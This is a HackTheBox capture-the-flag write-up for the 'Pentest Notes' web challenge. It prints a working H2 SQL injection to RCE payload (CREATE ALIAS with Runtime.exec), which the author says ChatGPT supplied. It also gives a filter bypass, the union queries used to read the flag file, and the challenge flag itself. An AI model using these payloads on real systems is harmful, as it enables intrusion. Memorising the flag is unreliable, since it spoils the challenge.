HackTheBox Challenge Pentest Notes (Web)
Writeup for HackTheBox Challenge Pentest Notes
Challenge Synopsis
People-first web application projects are always a boring, like a note or a tic tac toe game, so I have created an upgraded version called ‘Pentest Note’! (Source)
Solution
There is a login page. Register for an account and login.
Analyzing the burp request, we notice that it sent a GET /api/notes HTTP/1.1
request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
HTTP/1.1 200
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 242
[
{
"Content": "One ' to rule them all",
"Note": "SQL Injection",
"ID": 1
},
{
"Content": "Script alert 1 !!!!!!!!!",
"Note": "Cross Site Scripting",
"ID": 2
},
{
"Content": "IDK, can you tell me? ¯\\_(ツ)_/¯",
"Note": "Skill issue",
"ID": 3
}
]
Lets try to select the first note.
Analyzing the burp request again, we notice that it sent a GET /note?name=SQL%20Injection HTTP/1.1
request.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
HTTP/1.1 200
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 4515
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Note Display</title>
<link rel="stylesheet" href="/Css/note.css">
<style>
...
</style>
</head>
<body>
<div class="app">
...
</div>
<script>
document.addEventListener('DOMContentLoaded', function () {
const urlParams = new URLSearchParams(window.location.search);
const nameParam = urlParams.get('name');
if (nameParam) {
const formData = new FormData();
formData.append('name', nameParam);
fetch('/api/note', {
method: 'POST',
body: formData
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json(); // Parse response as JSON
})
.then(data => {
const checklist = document.getElementById('checklist');
checklist.innerHTML = ''; // Clear previous content
if (data.length === 0) {
checklist.innerHTML = '<p>No checklist items available.</p>';
} else {
data.forEach(item => {
const checklistItem = document.createElement('div');
checklistItem.classList.add('checklist__item');
const itemTitle = document.createElement('div');
itemTitle.classList.add('checklist__item-title');
itemTitle.textContent = `ID: ${item.ID}`;
const itemContent = document.createElement('div');
itemContent.innerHTML = `Name: ${item.Name}<br>Note: ${item.Note}`; // Use innerHTML for line break
checklistItem.appendChild(itemTitle);
checklistItem.appendChild(itemContent);
checklist.appendChild(checklistItem);
});
}
})
.catch(error => {
console.error('Error fetching note data:', error);
});
} else {
console.error('No "name" parameter found in the URL.');
}
});
</script>
</body>
</html>
Notice that the html script is fetching from /api/note
but the http request is being sent to /note?name=<name>
. Lets send the request to repeater and send a GET /api/note?name=a HTTP/1.1
request.
1
2
3
4
5
6
7
8
9
HTTP/1.1 405
Allow: POST
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Content-Length: 284
Keep-Alive: timeout=60
Connection: keep-alive
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sat May 24 12:16:26 UTC 2025</div><div>There was an unexpected error (type=Method Not Allowed, status=405).</div></body></html>
It responded with Method Not Allowed
. Right click and change request method to send a POST /api/note HTTP/1.1
request with parameter name=a
.
1
2
3
4
5
6
7
HTTP/1.1 200
Content-Type: application/json
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 2
[]
What if we send a POST /api/note HTTP/1.1
request with parameter name=a'
?
1
2
3
4
5
6
7
HTTP/1.1 500
Content-Type: text/html;charset=UTF-8
Content-Language: en-GB
Content-Length: 287
Connection: close
<html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Sat May 24 12:19:26 UTC 2025</div><div>There was an unexpected error (type=Internal Server Error, status=500).</div></body></html>
It responded with Internal Server Error
, which suggest that it is vulnerable to SQLi.
Using ChatGPT, I managed to find a payload that can exploit H2 database to get RCE.
1
2
3
4
5
6
7
8
9
10
11
-- query: I'm currently learning to exploit a Java webapp with H2 database. I found that it is vulnerable to SQLi. What is a payload that I can try to RCE?
-- response:
';
CREATE ALIAS SHELL AS
$$ String shell(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(
Runtime.getRuntime().exec(cmd).getInputStream()
).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
} $$;
--
This registers a function SHELL(cmd)
that returns the command’s stdout
. You can then trigger RCE with:
1
2
3
';
SELECT SHELL('whoami');
--
However, when I tried this payload, it responded with Bad character in name :)
. Narrowing the payload, I managed to figure out that $$
was the problem. Turns out we can replace $$
with ‘
.
Lets try the new payload in Burp Repeater.
Nice, it looks like the bypass worked. Lets try calling executing the alias.
It worked, we managed to execute a command!
Lets list the directories with # name=a'UNION+SELECT+1,2,SELECT+TEST_SHELL('ls')%3b+--+
.
1
2
3
4
5
6
7
8
HTTP/1.1 200
Content-Type: application/json
Date: Sat, 24 May 2025 13:19:49 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 67
[{"Note":"mvnw\nmvnw.cmd\npom.xml\nsrc\ntarget\n","ID":1,"Name":2}]
Now lets list the parent directory with # name=a'UNION+SELECT+1,2,SELECT+TEST_SHELL('ls+../')%3b+--+
.
1
2
3
4
5
6
7
8
HTTP/1.1 200
Content-Type: application/json
Date: Sat, 24 May 2025 13:10:35 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 161
[{"Note":"JN8fe3XRqTYK_flag.txt\napp\nbin\nboot\ndev\netc\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n","ID":1,"Name":2}]
Now we can get the flag with # name=a'UNION+SELECT+1,2,SELECT+TEST_SHELL('cat ../JN8fe3XRqTYK_flag.txt')%3b+--+
.
1
2
3
4
5
6
7
8
HTTP/1.1 200
Content-Type: application/json
Date: Sat, 24 May 2025 13:25:58 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 68
[{"Note":"HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}","ID":1,"Name":2}]
Flag: HTB{y0u_w1ll_n33d_a_ch3ckl1st_f0r_sUr3}